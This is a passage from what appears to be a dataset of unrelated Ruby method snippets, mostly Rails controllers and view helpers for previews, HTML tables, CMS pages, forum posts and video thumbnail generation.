a.is_a?(Symbol) ? t(a, default: a.to_s.titleize) : a }.join\n content_tag(:thead, content_tag(:tr, raw(headers)))\n end", "def initialize_preview(sequence)\n progress = sequence.progress(nil, current_user)\n progress.destroy unless progress.nil?\n end", "def create\n @user = User.find(current_user.id)\n @post = @user.posts.build(params[:post])\n @topic = @post.topic\n \n # preview?\n if !params[:preview].nil?\n # breadcrumbs\n add_breadcrumb \"Home\", :root_path\n if !@topic.forum.ancestors.empty?\n for ancestor in @topic.forum.ancestors\n add_breadcrumb ancestor.title, forum_path(ancestor)\n end\n add_breadcrumb @topic.forum.title, forum_path(@topic.forum.id)\n add_breadcrumb @topic.title, topic_path(@topic)\n end\n render :action => \"new\"\n # save post\n else\n if @post.save\n redirect_to topic_path(@post.topic_id)\n end\n end\n end", "def preview_index(urls, path: request.path)\n render(path: __dir__ + \"/index.erb\", locals: { urls: Array(urls), path: path })\n end", "def run_preprocessors\n @passages.each_key do |k|\n # HAML\n if @passages[k][:tags].include? 'haml'\n @passages[k][:content] = Haml::Engine.new(@passages[k][:content], HAML_OPTIONS).render\n @passages[k][:tags].delete 'haml'\n end\n # Coffeescript\n if @passages[k][:tags].include? 'coffee'\n @passages[k][:content] = CoffeeScript.compile(@passages[k][:content], COFFEESCRIPT_OPTIONS)\n @passages[k][:tags].delete 'coffee'\n end\n # SASS / SCSS\n if @passages[k][:tags].include? 'sass'\n @passages[k][:content] = Sass::Engine.new(@passages[k][:content], :syntax => :sass).render\n end\n if @passages[k][:tags].include? 'scss'\n @passages[k][:content] = Sass::Engine.new(@passages[k][:content], :syntax => :scss).render\n end\n end\n end", "def create_preview_and_thumbnails\n typescript = self.typescript\n return false if typescript.nil? || typescript.content_type != 'application/pdf'\n preview = self.preview_image\n return false if !preview.nil?\n self.create_or_update_preview\n self.create_thumbnails\n return true\n end", "def work_examples!\n @html.css('pre').each do |pre|\n lines = pre.content.split(\"\\n\")\n first_line = lines.first.to_s.strip\n next unless first_line.match(/^# ([A-Za-z]+)$/i)\n\n sections = split_lines(lines)\n example = Example.new sections\n @examples.push example\n template = Tilt.new(Ifdoc.root('data', 'templates', 'example.haml'))\n\n pre.after(template.render(example))\n pre.remove\n end\n end", "def push_url(cu, rs) # <- live out\n if @pa.setting['layout'].blank?\n erb_layout = File.open(\"#{Rails.root}/lib/out/github/layout/jekyll.erb\").read\n else\n erb_layout = File.open(\"#{Rails.root}/lib/out/github/layout/#{@pa.setting['layout']}.erb\").read\n end\n time = Time.now\n\n l=Hash[\n @cpfs.map{|i| \n [\n i[:name], \n [i, rs.select{|ii| ii[:field_id] == i[:id]}[0] ]\n ]\n }\n ]\n\n if !l['image'].blank? && l['image'][0][:setting][:download] == 'true'\n if !l['image'][1].blank? && !l['image'][1][:result_text].blank?\n prefix = \"#{Rails.root}/public\"\n file = File.read(prefix + l['image'][1][:result_text])\n name = l['image'][1][:result_text].split(\"/\")[-1]\n create(\"img/#{name}\", file)\n image_tag = \"<img src=\\\"/img/#{name}\\\">\"\n else\n image_tag = ''\n end\n elsif !l['image'].blank? && l['image'][0][:setting]['download'] == 'false'\n image_tag = ''\n else\n image_tag = ''\n end\n \n template = Erubis::Eruby.new(erb_layout).result({:l =>l, :time_now => time, :image_tag => image_tag})\n path = \"_posts/#{time.strftime('%Y-%m-%d')}-#{time.to_i}.html\"\n create(path, template)\n end", "def job_preview(job)\n content_tag :dl do\n # Descripcion de distancia de tiempo en palabras\n content_tag(:span, \"Hace #{distance_of_time_in_words(Time.now, job.created_at)}\", :class => 'pull-right') +\n content_tag(:dt, (link_to job.job_title, job) + \" - #{job.company_name}\") + \n content_tag(:dd, content_tag(:em, job.location)) +\n # Truncar descripcion de trabajo, quitar tags HTML\n content_tag(:dd, content_tag(:span, truncate(strip_tags(job.job_description), :length => 130), :class => 'muted')) +\n content_tag(:dd, job.job_types.to_sentence) + \n content_tag(:dd, \n raw(\n job.technologies.collect do |skill|\n content_tag(:span, \"#{skill.name}\", :class => 'label label-info') + ' '\n end.join\n )\n ) +\n content_tag(:hr)\n end\n end", "def create_display_table(title, headings, rows)\n Terminal::Table.new :title=> title, :headings => headings, :rows => rows\n end", "def preview_command(*args)\n prep_args(*args).join(' ')\n end", "def process(pdf, resume)\n Font.configure(pdf, resume[:font])\n Name.generate(pdf, resume[:name])\n Headline.generate(pdf, resume[:headline])\n Output.plain(:creating_social_media_links)\n SocialMediaLogoSet.generate(pdf, resume[:social_media_logo_set])\n Output.plain(:creating_technical_skills_section)\n TechnicalSkills.generate(pdf, resume[:technical_skills])\n Output.plain(:creating_employment_history_section)\n EmploymentHistory.generate(pdf, resume[:employment_history])\n Output.plain(:creating_education_history_section)\n EducationHistory.generate(pdf, resume[:education_history])\n end", "def preview_microsite\n @msg = []\n @cmspage = nil\n @user = nil\n @extra_rows = []\n \n @microsite = Microsite.find_by(:slug => params[:microsite_slug])\n if has_same_group(current_user,@microsite).any?\n else\n redirect_to '/page/show', :alert => \"You are not Authorized to Access this page.\"\n return false\n end\n \n @client = Client.find_by(:slug => params[:client_slug])\n\n if params[:cms_page_slug] == \"profile\"\n @user = current_user\n else\n if (params[:cms_page_slug].to_s !='')\n @cmspage = CmsPage.find_by(:slug => params[:cms_page_slug])\n elsif @microsite.cms_page_id.to_i > 0\n @cmspage = CmsPage.find_by(:id => @microsite.cms_page_id) \n if @cmspage == nil\n @msg << \"Default Page deleted, Please set new one.\"\n end \n else\n @cmspage = @microsite.cms_pages.first\n end\n\n if @cmspage == nil \n @msg << \"No default page found\"\n end\n\n @extra_rows = @cmspage.sorted_extra_rows if @cmspage.present?\n end\n\n\n @body_class = \"microsite-#{@microsite.id}-client#{@client.id}\"\n\n if @cmspage != nil\n @body_class = @body_class + \"-page-#{@cmspage.id}\"\n end\n\n\n if @microsite == nil \n @msg << \"Microsite Not found\"\n end\n\n if @client == nil \n @msg << \"Client Not found\"\n end\n\n response.headers[\"Cache-Control\"] = \"no-cache, no-store\"\n response.headers[\"Pragma\"] = \"no-cache\"\n response.headers[\"Expires\"] = \"Fri, 01 Jan 1990 00:00:00 GMT\"\n\n respond_to do |format|\n if @msg.size > 0\n format.html{ render 'page/CMS/notfound' }\n else\n \n if @user != nil\n format.html{ render '/page/profile' }\n else\n format.html{ render '/page/preview_microsite' }\n end\n end\n end\n\n end", "def compute_version_control_page(git_repo, source_file_path)\n max_number_of_commits = 20\n recent_commits_for_source_file_path = git_repo.latest_commits_local(\n source_file_path,\n max_number_of_commits\n ).reverse # reverse to get oldest first\n\n # header\n vcp = \"\\\\clearpage\\n\"\n vcp << \"\\\\begin{english}\"\n vcp << \"\\\\begin{RtSubTitle}\\nVersion Control Info\\n\\\\end{RtSubTitle}\\n\"\n vcp << \"\\\\relscale{0.66}\\n\"\n # commits table\n vcp << \"\\\\begin{tabular}{ | p{0.4in} | p{0.7in} | p{0.5in} | p{1.9in} |}\\n\"\n vcp << \"\\\\hline\\n\"\n vcp << \"\\\\textbf{Commit} & \\\\textbf{Author} & \\\\textbf{Date} & \\\\textbf{Commit message} \\\\\\\\ \\n\"\n vcp << \"\\\\hline\\n\"\n recent_commits_for_source_file_path.each do |ca|\n vcp << [\n escape_latex_text(ca[:commit_hash]),\n escape_latex_text(ca[:author]),\n escape_latex_text(ca[:date]),\n escape_latex_text(ca[:message]),\n ].join(' & ') # table cells\n vcp << \"\\\\\\\\ \\n\" # end of table row\n vcp << \"\\\\hline\\n\"\n end\n vcp << \"\\\\end{tabular}\\n\"\n # footer\n source_file_name = source_file_path.split('/').last(3).join('/')\n vcp << [\n \"\\n\\n \\\\noindent\\\\caption{The table above lists the #{ max_number_of_commits } \",\n \"most recent git commits that affected the file \",\n \"#{ escape_latex_text(source_file_name.inspect) }.}\\n\\n\",\n ].join\n vcp << \"\\\\end{english}\"\n vcp\n end", "def generate_header\n \"<table class='bodyTable'><thead><th>Testing element</th><th>Pass</th><th>Result</th><th>Time</th></thead><tbody>\"\n end", "def process(content, uri, args = \"\")\n html_doc = Nokogiri::HTML(content) do |config| config.noerror end\n\n node = html_doc.xpath(\"//div[@class='markdown-body']\").first\n\n stamp(node, uri, 'github-wiki')\n\n if args.include?(\"reduce-headings\") then\n 5.downto(1) { |level|\n node.xpath(\"//h#{level}\").each { |heading_node|\n heading_node.name = \"h#{level+1}\"\n }\n }\n end\n\n node.to_s\n end", "def preview\n redirect_to preview_url\n end", "def main\n operations.each { |op|\n template = [['sample: Sample Name', '', '', '', ''],['title: Title 1', 'title 1\\'s step 1', 'title 1\\'s step 2','title: Title n', '...'],['Ingredient 1', 'Ingredient 1\\'s quantity', 'Ingredient k', 'Ingredient k\\'s quantity', '...']]\n show {\n title \"File format (csv)\"\n table template\n }\n \n ups = upload_file\n if ups.nil?\n show { note \"No files found...\"}\n return\n end\n\n file = ups[0]\n data = read_url(file)\n \n # Remove nils from the data array.\n remove_data_nils data\n \n if(data.empty?)\n show { note \"no data, returning...\" } \n return\n end\n \n # Look through data for duplicates\n create_samples data\n \n }\n end", "def preview\n render :template => \"preview\", :layout => false\n end", "def preview\n if request.post? || !params[:id].blank?\n @story = Story.find_by_permalink(params[:id])\n @page_title = \"Story - #{@story.title}\"\n if !@story.story_adv.story_top_adv.blank?\n @header_adv = @story.story_adv.story_top_adv.script\n end\n else\n redirect_to :action => \"index\" \n end \n #~ rescue\n #~ flash[:notice] = 'Some thing went wrong!!'\n #~ render :template => 'shared/error'and return \nend", "def extract_new_preview\n delete_extract\n extract_preview\n end", "def headline; end", "def render\n content_tag(:section, class: \"umm-preview #{form_id}\") do\n render_preview_accordion\n end\n end", "def main\n blog = File.read(FILE_PATH).gsub(/-----[\\r\\n|\\n|\\r]EXTENDED BODY:/, '<!-- more -->')\n articles = split_to_articles(blog)\n headers_and_bodies = split_to_headers_and_bodies(articles)\n\n headers_and_bodies.each do |header_and_body|\n header_and_body[:header] = convert_header(header_and_body[:header])\n header_and_body[:body] = ReverseMarkdown.convert header_and_body[:body]\n end\n\n create_md_file(headers_and_bodies)\nend", "def pre_process\n end", "def create_default\n # Default values\n self.site_title = I18n.t 'websites.default.home_title'\n self.home_title = I18n.t 'websites.default.home_title'\n self.home_icon = I18n.t 'websites.default.home_icon'\n self.top_title = I18n.t 'websites.default.top_title'\n self.top_intro = I18n.t 'websites.default.top_intro'\n self.bottom_title = I18n.t 'websites.default.bottom_title'\n self.bottom_intro = I18n.t 'websites.default.bottom_intro'\n self.featured_title = I18n.t 'websites.default.featured_title'\n self.markdown = I18n.t 'websites.default.markdown'\n self.show_featured = true\n self.show_markdown = true\n # Create components\n modules = Rails.configuration.scribae['modules']\n modules.each_with_index do |comp_name, index|\n component = Component.new do |comp| \n comp.name = comp_name\n comp.icon_color = \"#6268c0\"\n comp.pos = index + 1\n comp.show = I18n.t \"websites.default.components.#{comp_name}.show\"\n comp.icon = I18n.t \"websites.default.components.#{comp_name}.icon\"\n comp.title = I18n.t \"websites.default.components.#{comp_name}.title\"\n comp.intro = I18n.t \"websites.default.components.#{comp_name}.intro\"\n end\n self.components << component\n end\n # Create preview and gitconfig\n parameterized = self.name.parameterize\n self.preview = Preview.new do |preview|\n preview.prototype = \"default\"\n preview.name = parameterized\n preview.process = 0\n preview.status = 0\n end\n self.gitconfig = Gitconfig.new do |git|\n git.base_url = parameterized\n git.initialized = false\n git.repo_link = \"\"\n git.website_link = \"\"\n end\n # Background images\n bg_file = File.open(Rails.root.join('app', 'assets', 'images', 'parallax.jpg'))\n ['top', 'bottom'].each do |name|\n image = Image.new do |img|\n img.name = name\n img.category = 'bg'\n img.upload = bg_file\n end \n self.images << image\n end\n # Style\n self.style = Style.new do |style|\n style.helper = \"\"\n style.navbar = \"#ffffff\"\n style.primary = \"#ffffff\"\n style.secondary = \"#000000\"\n style.background = \"#ffffff\"\n style.icon = \"#000000\"\n style.text = \"#000000\"\n style.decoration = \"#ffffff\"\n end\n end", "def create\n revisions do |orig_file, sha_list|\n sha_list.each_with_index do |sha, i|\n ver = (i + 1).to_s\n # Git revisioned file\n composeversions(orig_file, sha, ver) do |content, data, file_path|\n # dont re-write files\n if File.exist?(file_path)\n linecount(file_path)\n next\n end\n\n version_content = FrontMatter.new(data)\n version_content.content = content \n write(file_path, version_content.update)\n linecount(file_path)\n end\n end\n\n sha_list.map!.with_index { |sha, i| [] << sha << (i + 1) }\n # Git Diff combination files\n composediffs(orig_file, line_count, sha_list.combination(2)) do |content, data, file_path|\n content.sub!(DIFF_HEADER_REGEXP, '')\n if change?(content)\n VersionedFiles.frontmatter[\"no_change\"] = false\n styled_content = @style.style(content)\n data.merge!(@style.stats.final)\n else\n VersionedFiles.frontmatter[\"no_change\"] = \"no_change\"\n data[\"no_change\"] = true\n end\n\n fm = FrontMatter.new(data).create\n diff_file = fm << styled_content\n write(file_path, diff_file)\n end\n end\n end", "def prepare_centrifuge\n show do\n title \"Prepare the centrifuge\"\n check \"Grab #{operations.length} pink Qiagen columns, label with 1 to #{operations.length} on the top.\"\n check \"Add tube contents to LABELED pink Qiagen columns using the following table.\"\n check \"Be sure not to add more than 750 uL to each pink column.\"\n warning \"Vortex QG mixture thoroughly before adding to pink column!\".upcase\n table operations.start_table\n .input_item(INPUT)\n .custom_column(heading: \"Qiagen column\", checkable: true) { |op| operations.index(op) + 1}\n .end_table\n end\n end", "def process_toc(post, items, toc_title)\n begin\n toc = \"<div class=\\\"toc\\\">\\n\"\n toc += \"p(#toc_title). #{toc_title}\\n\"\n base_level = items.first[:level] - 1\n items.each do |item|\n depth = item[:level] - base_level\n toc += \"#{\"*\"*depth}(depth_#{depth}) \\\"(toc_link)#{item[:link_text]}\\\":##{item[:id]}\\n\"\n end\n\n toc += \"\\n</div>\"\n post.content.gsub!(/<!-- TOC -->/, toc)\n rescue\n puts \"Depth error in #{post.title}\"\n items.each do |item|\n base_level = items.first[:level] - 1\n puts \"Level: #{item[:level]} Depth: #{item[:level] - base_level} Title: #{item[:link_text]}\"\n end\n end\n end", "def update_textuals\n\n # FIXME: this will remove all classes from Google Drive, which identify versions (I think) and styling.\n # Fuck it.\n\n markdown_to_html_and_text\n\n make_diffs if file_content_md_changed?\n\n if project.most_recent_work.id == id and file_content_md_changed?\n project.update_columns(\n file_content_md: file_content_md,\n file_content_text: file_content_text,\n file_content_html: file_content_html\n )\n end\n self.delay(:queue => 'preview_maker', priority: 20).create_preview_png\n end", "def create\n @preview = Preview.new(params[:preview])\n\n respond_to do |format|\n if @preview.save\n format.html { redirect_to @preview, notice: 'Preview was successfully created.' }\n format.json { render json: @preview, status: :created, location: @preview }\n else\n format.html { render action: \"new\" }\n format.json { render json: @preview.errors, status: :unprocessable_entity }\n end\n end\n end", "def render\n @mark.table_begin(\"table-striped table-sm table-responsive table-hover\")\n generate_headers\n generate_rows\n @mark.table_end\n @mark.render\n end", "def hypernova_render_support\n hypernova_batch_before\n yield\n hypernova_batch_after\n end", "def create_front_page_paginada\n\t\tsystem 'clear'\n\t\t@num_pages = @post_list2.length\n\t\t@post_list2[(\"#{@position}\").to_i].each_with_index do |post,index|\n\t\t\t\n\t\t\t\tif post.sponsored == true\n\t\t\t\t\tputs \"*****Post #{post.title} #{index}*****\"\n\t\t\t\telse\n\t\t\t\t\tputs \"Post #{post.title} #{index}\"\n\t\t\t\tend\n\t\t\t\tputs \"#{post.text}\"\n\t\t\t\tputs \"#{post.creation_date}\"\n\t\t\t\tputs \"-----------------------\"\n\t\tend\t\t\n\n\t\tif @position > 0 && @position < @num_pages\n\t\t\tback_pages = (1..@position).to_a\n\t\t\tputs \"back\"\n\t\t\tback_pages.each { |pg| puts pg}\t\t\n\t\tend\n\t\tif @position < (@num_pages - 1)\n\t\t\tnext_pages = (@position+2..@num_pages).to_a\n\t\t\tputs \"next\"\n\t\t\tnext_pages.each { |pg| print \"#{pg} \" }\n\t\tend\n\n\t\t\tanswer = gets.chomp\n\t\t\tif answer == \"back\" && @position != 0\n\t\t\t\t@position-=1\n\t\t\t\tcreate_front_page_paginada\n\t\t\telsif answer == \"back\" && @position == 0\n\t\t\t\tcreate_front_page_paginada\n\n\t\t\telsif answer == \"next\" && @position == @num_pages-1\n\t\t\t\tcreate_front_page_paginada\n\t\t\telsif answer == \"next\" && @position != @num_pages-1\n\t\t\t\t@position+=1\n\t\t\t\tcreate_front_page_paginada\n\t\t\telse\n\t\t\t\tputs \"ERROR --> ENTER VALID ANSWER\"\n\t\t\t\tcreate_front_page_paginada\n\t\t\tend\n\tend", "def index\n if current_user.admin?\n @previews = Preview.all\n else\n redirect_to root_path\n flash[:notice] = \"Whoops! You're not supposed to be there!\"\n end\n end", "def preview_page(name, data, format)\n page = @page_class.new(self)\n ext = @page_class.format_to_ext(format.to_sym)\n path = @page_class.cname(name) + '.' + ext\n blob = OpenStruct.new(:name => path, :data => data)\n page.populate(blob, path)\n page.version = @access.commit('HEAD')\n page\n end", "def history_report(rows)\n table = Terminal::Table.new :headings => ['Date','Exercise', 'Set', 'Weight', 'Reps'], \n :title => \"Exercise Log History\",\n :rows => rows \n puts table\nend", "def preview\n frm.link(:text=>\"Preview\").click\n PreviewOverview.new(@browser)\n end", "def create_post_action\n post = Post.create(:title => \"Untitled Post\", :title_html => \"\", :content => \"\", :content_html => \"\", :javascript => \"\", :css => \"\", :is_public => false, :sort_id => 1)\n post.tags = [Tag.get_tag_by_name(\"home\")]\n post.sort_id = post.id\n post.markdown!\n post.save!\n flash[:notice] = \"New post created.\"\n return redirect_to \"/edit_post/\" + post.id.to_s\n end", "def head_main(options)\n options[:charset] ||= 'utf-8' \n \n # Prefix (leading space)\n if options[:prefix]\n prefix = options[:prefix]\n elsif options[:prefix] == false\n prefix = ''\n else\n prefix = ' '\n end\n\n # Separator\n unless options[:separator].blank?\n separator = options[:separator]\n else\n separator = '|'\n end\n\n # Suffix (trailing space)\n if options[:suffix]\n suffix = options[:suffix]\n elsif options[:suffix] == false\n suffix = ''\n else\n suffix = ' '\n end\n \n # Lowercase title?\n if options[:lowercase] == true\n @title = @title.downcase unless @title.blank?\n end\n \n # Default page title\n if @title.blank? && options[:default]\n @title = options[:default]\n end\n\n buffer = \"\"\n\n # Set website/page order\n if @title.blank?\n # If title is blank, return only website name\n buffer << content_tag(:title, options[:site]) \n else\n if options[:reverse] == true\n # Reverse order => \"Page : Website\"\n buffer << content_tag(:title, @title + prefix + separator + suffix + options[:site])\n else\n # Standard order => \"Website : Page\"\n buffer << content_tag(:title, options[:site] + prefix + separator + suffix + @title)\n end\n end\n \n buffer << \"\\n\"\n\t\tbuffer << tag(:meta, \"http-equiv\" => \"Content-type\", :content => \"text/html; charset=#{options[:charset]}\")\n\t\tbuffer << csrf_meta_tag\n\t\tbuffer.html_safe\n end", "def preview_page(name, data, format)\n ::Gollum::PreviewPage.new(self, \"#{name}.#{::Gollum::Page.format_to_ext(format.to_sym)}\", data, @access.commit(@ref))\n end", "def create_preview\n args = ZAPIArgs.new\n args.uri = Resource_Endpoints::POST_SUBSCRIPTION_PREVIEW\n\n args.req_body = ZAPIArgs.new\n\n args.req_body.termType = \"TERMED\"\n args.req_body.initialTerm = 12\n args.req_body.contractEffectiveDate = \"2013-1-15\"\n args.req_body.invoiceTargetDate = '2013-12-31'\n\n args.req_body.previewAccountInfo = ZAPIArgs.new\n args.req_body.previewAccountInfo.currency = 'USD'\n args.req_body.previewAccountInfo.billCycleDay = 31\n args.req_body.previewAccountInfo.billToContact = ZAPIArgs.new\n args.req_body.previewAccountInfo.billToContact.city = 'Walnut Creek'\n args.req_body.previewAccountInfo.billToContact.county = 'Contra Consta'\n args.req_body.previewAccountInfo.billToContact.state = 'California'\n args.req_body.previewAccountInfo.billToContact.zipCode = '94549'\n args.req_body.previewAccountInfo.billToContact.country = 'United States'\n\n args.req_body.subscribeToRatePlans = []\n args.req_body.subscribeToRatePlans[0] = ZAPIArgs.new\n args.req_body.subscribeToRatePlans[0].productRatePlanId = 'ff8080811ca15d19011cdda9b0ad3b51'\n args.req_body.subscribeToRatePlans[0].chargeOverrides = []\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0] = ZAPIArgs.new\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0].productRatePlanChargeId =\n 'ff8080811ca15d19011cddad8c953b53'\n args.req_body.subscribeToRatePlans[0].chargeOverrides[0].quantity = 100\n\n puts \"========== CREATE A SUBSCRIPTION FOR PREVIEW ============\"\n\n begin\n @z_client.post(args) do |resp|\n ap resp\n end\n rescue ArgumentError => e\n puts e.message\n rescue RuntimeError => e\n puts e.message\n end\n end", "def render_preview_update(show = false)\n @updatable ||= 'up-' + tree_node.id.to_s\n \n get_content_items\n \n is_rebuild = false\n if tree_node.resource.resource_type.hrid != 'custom_preview' && @items_size >= @max_num && !show\n is_rebuild = true\n end\n \n if is_rebuild\n if @items.last.is_main && @items.last.can_delete?\n @items.last.max_user_permission = nil\n @items.last.destroy\n else\n remove_link_from_resource(@items.last) \n end\n end\n\n if @items_size < @max_num || is_rebuild\n add_new_item\n get_content_items\n end\n\n unless show\n @items.last.move_to_top\n get_content_items\n end\n\n sort_direction = if @is_main_format\n show_main_format\n else\n if is_articles_index?\n show_index\n else\n show_preview\n end\n end\n make_sortable(:selector => \"##{updatable} .sortable\", :direction => sort_direction) {\n content_items(tree_node.id)\n }\n end", "def preview_name\n name.sub(/Preview$/, '').underscore\n end", "def show_table\n build_html do\n if upd_apar_defs.length == 0\n div.upd_apar_defs do\n span \"Did not find any items matching request\"\n end\n else\n table.upd_apar_defs do\n thead do\n tr do\n th '#'\n [ \"Defect\", \"Apar\", \"PTF\", \"Abstract\",\n \"LPP\", \"VRMF\", \"Version\", \"Service Pack\" ].each do |header_label|\n th class: \"upd_apar_def-#{header_label.gsub(\" \", \"_\").downcase}\" do\n span class: \"upd_apar_defs_header_span\" do\n text header_label\n span class: \"sort sortable\" do\n end\n end\n end\n end\n end\n end\n tbody do\n # upd_apar_defs.each_with_index { |o, i| show_upd_apar_def(o,i) }\n end\n end\n end\n end\n end", "def generate_previews(filename, options = {})\n\tframegrab_grid = options['framegrab_grid'] || Config['PreviewSettings']['default_grid']\n\tframegrab_interval = options['framegrab_interval'] || Config['PreviewSettings']['default_interval']\n\tframegrab_height = options['framegrab_height'] || Config['PreviewSettings']['default_height']\n\n\tbase_filename = File.basename(filename)\n\tfilesize = File.size(filename)\n\tfile_info = Mediainfo.new filename\n\n\tif framegrab_interval.to_i == 0\n\t\ttotal_images = 1\n\t\tframegrab_grid.split('x').each do |x|\n\t\t\ttotal_images *= x.to_i\n\t\tend\n\t\tframegrab_interval = file_info.duration / total_images\n\tend\n\n\tcount = 0\n\tunits = ['bytes', 'KB', 'MB', 'GB', 'TB']\n\tloop do\n\t\tbreak if filesize < 1024.0\n\t\tcount += 1\n\t\tfilesize /= 1024.0\n\tend\n\n\tpretty_filesize = filesize.round(2).to_s + ' ' + units[count]\n\n\tduration = file_info.duration\n\tremainder = 0\n\tcount = 0\n\tunits = ['sec','min','h']\n\tloop do\n\t\tbreak if duration < 60\n\t\tcount += 1\n\t\tremainder = duration % 60\n\t\tduration /= 60\n\tend\n\n\tpretty_duration = duration.round(0).to_s + ' ' + units[count]\n\n\tif remainder > 0\n\t\tpretty_duration += ' ' + remainder.round(0).to_s + ' ' + units[count-1]\n\tend\n\n\tcommand = \"ffmpeg -loglevel panic -y -i \\\"#{filename}\\\" -frames 1 -q:v 1 -vf \\\"select='isnan(prev_selected_t)+gte(t-prev_selected_t\\,\" + framegrab_interval.to_s + \")',scale=-1:\" + framegrab_height.to_s + \",tile=\" + framegrab_grid + \"\\\" '/tmp/video_preview.jpg'\"\n\t# puts command\n\tif system(command)\n\t# \t# Now that the preview is generated, post it to Mattermost\n\t\tif !(uploaded_file_url = upload_file('/tmp/video_preview.jpg', base_filename))\n\t\t\tcall_mattermost({:text => \"We ran into a problem uploading the file. Have someone look at this!\"})\n\t\telse\n\t\t\tmessage = \"![#{base_filename}](#{uploaded_file_url})\\n\\n\"\n\t\t\tmessage+= \"|#{base_filename}|[(preview)](#{uploaded_file_url})|\\n\"\n\t\t\tmessage+= \"|-|-:|\\n\"\n\t\t\tmessage+= \"|File Size| **#{pretty_filesize}**|\\n\"\n\t\t\tmessage+= \"|Duration| **#{pretty_duration}**|\\n\"\n\t\t\tmessage+= \"|Format| **#{file_info.format}**|\"\n\n\t\t\tactions = Config['FileOperations']\n\t\t\tattachments_actions = []\n\t\t\tactions.keys.each do |key|\n\t\t\t\taction_hash = {\n\t\t\t\t\t'name': key,\n\t\t\t\t\t'integration': {\n\t\t\t\t\t\t'url': [Config['Webhook']['url'], 'run-command'].join('/'),\n\t\t\t\t\t\t'context': {\n\t\t\t\t\t\t\t'command': key,\n\t\t\t\t\t\t\t'filename': File.realpath(filename)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tattachments_actions.push(action_hash)\n\t\t\tend\n\n\n\t\t\tattachments = [\n \t\t{\n \t\t\t\"text\": message,\n \t\t\t\"actions\": attachments_actions\n\t\t }]\n\n\t\t\tpayload = {:attachments => attachments}\n\n\t\t\tcall_mattermost(payload)\n\t\tend\n\telse\n\t\tLog.error \"There was an error running the command: #{command}\"\n\t\tcall_mattermost({:text => \"### DANGER WILL ROBINSON\\nERROR\"})\n\tend\n\nend", "def create\n @preview = Preview.new(preview_params)\n\n respond_to do |format|\n if @preview.save\n format.html { redirect_to @preview, notice: 'Preview was successfully created.' }\n format.json { render :show, status: :created, location: @preview }\n else\n format.html { render :new }\n format.json { render json: @preview.errors, status: :unprocessable_entity }\n end\n end\n end", "def show_previews\n session[:solution] == nil && generate\n load_sections(nil, true)\n end", "def process_previews!\n source = Magick::ImageList.new(preview_path).first\n\n previews.each do |name, blk|\n path = File.join(@dir, \"#{name}_preview.jpg\")\n\n copy = source.copy\n blk.call(copy)\n copy.write(path)\n\n @paths << path\n end\n\n @paths\n end", "def print_posts(posts)\n table do |t|\n t.headings = headings\n posts.each_with_index do |post,i|\n t << [\n { :value => i+1, :alignment => :right },\n post.service.capitalize,\n { :value => post.stars_count, :alignment => :center },\n post.short_name\n ]\n end\n end \n end", "def prep\n ssh_session do |session|\n @results['prep'] = _recursor(@config['prep'],session)\n end\n @log.info \"FINISHED PREP STEPS....\"\n end", "def preloop\n end", "def render_thead\n if @header_line\n return Tools::html_safe(content_tag(:thead, @header_line.render_line))\n end\n ''\n end", "def create_table objects, columns, title, date_param = nil, nosort = false\n\t\tcurr_user = current_user\n\t\n\t\tid_to_names = [\"trip_id\",\"destination_id\",\"bus_id\"]\n\t\ttimes = [\"depart_time\",\"arrive_time\",\"return_time\"]\n\t\tdates = [\"date\",\"start\",\"expiry\",\"offset_date\",\"start_date\",\"end_date\",\"created_at\",\"updated_at\"]\n\t\tno_management = [\"permissions\", \"roles\"]\n\t\tmanagement_headers = [\"updated_by\",\"created_at\",\"updated_at\"]\n\t\t\n\t\thtml = \"\"\n\t\thtml << '<h1>'.html_safe\n\t\thtml << title\n\t\t\n\t\thtml << '</h1>'.html_safe\n\t\t\n\t\thtml << '<table class=\"admin_table\">'.html_safe\n\t\t\n\t\thtml << '<tr class=\"tr_header\">'.html_safe\n\t\tcolumns.each do |col|\n\t\t\t\n\t\t\tcol_title = col\n\t\t\t\n\t\t\tif col.include? '_id' then col_title = col.split('_id')[0] end\n\t\t\t\n\t\t\tif management_headers.include? col\n\t\t\t\tif curr_user.has_permission? :management\n\t\t\t\t\thtml << '<th>'.html_safe\n\t\t\t\t\tif !nosort \n\t\t\t\t\t\thtml << sort_table(col, col_title.humanize, date_param).html_safe\n\t\t\t\t\telse\n\t\t\t\t\t\thtml << col_title.humanize\n\t\t\t\t\tend\n\t\t\t\t\thtml << '</th>'.html_safe\n\t\t\t\tend\n\t\t\telse\n\t\t\t\thtml << '<th>'.html_safe\n\t\t\t\tif !nosort \n\t\t\t\t\thtml << sort_table(col, col_title.humanize, date_param).html_safe\n\t\t\t\telse\n\t\t\t\t\thtml << col_title.humanize\n\t\t\t\tend\n\t\t\t\thtml << '</th>'.html_safe\n\t\t\tend\n\t\t\t\n\t\tend\n\t\t\n\t\t# Show Column\n\t\thtml << '<th></th>'.html_safe\n\t\t\n\t\t# Edit Column\n\t\tif (curr_user.has_permission? :admin) || (!(no_management.include? objects[0].class.name.tableize) && (curr_user.has_permission? :management))\n\t\t\thtml << '<th></th>'.html_safe\n\t\tend\n\t\t\n\t\t# Destroy Column\n\t\tif curr_user.has_permission? :admin\n\t\t\thtml << '<th></th>'.html_safe\n\t\tend\n\t\t\n\t\thtml << '</tr>'.html_safe\n\t\t\n\t\ti = 0\n\t\tobjects.each do |obj|\n\t\t\tif i.even?\n\t\t\t\thtml << '<tr class=\"tr_alt_1\">'.html_safe\n\t\t\telse\n\t\t\t\thtml << '<tr class=\"tr_alt_2\">'.html_safe\n\t\t\tend\n\t\t\t\tcolumns.each do |col|\n\t\t\t\t\t\n\t\t\t\t\tif id_to_names.include? col\n\t\t\t\t\t\thtml << '<td>'.html_safe\n\t\t\t\t\t\tcol = col.split('_id')[0]\n\t\t\t\t\t\thtml << (link_to obj.send(col).id.to_s + \": \" + obj.send(col).name, obj.send(col)).html_safe\n\t\t\t\t\telsif col == \"user_id\" || col == \"updated_by\"\n\t\t\t\t\t\thtml << '<td>'.html_safe\n\t\t\t\t\t\tcol = col.split('_id')[0]\n\t\t\t\t\t\tif obj.send(col)\n\t\t\t\t\t\t\thtml << (link_to obj.send(col).userid, obj.send(col)).html_safe\n\t\t\t\t\t\tend\n\t\t\t\t\telsif col == \"id\"\n\t\t\t\t\t\thtml << '<td class=\"td_links\">'.html_safe\n\t\t\t\t\t\thtml << obj.send(col).to_s\n\t\t\t\t\telsif col == \"weekday\"\n\t\t\t\t\t\thtml << 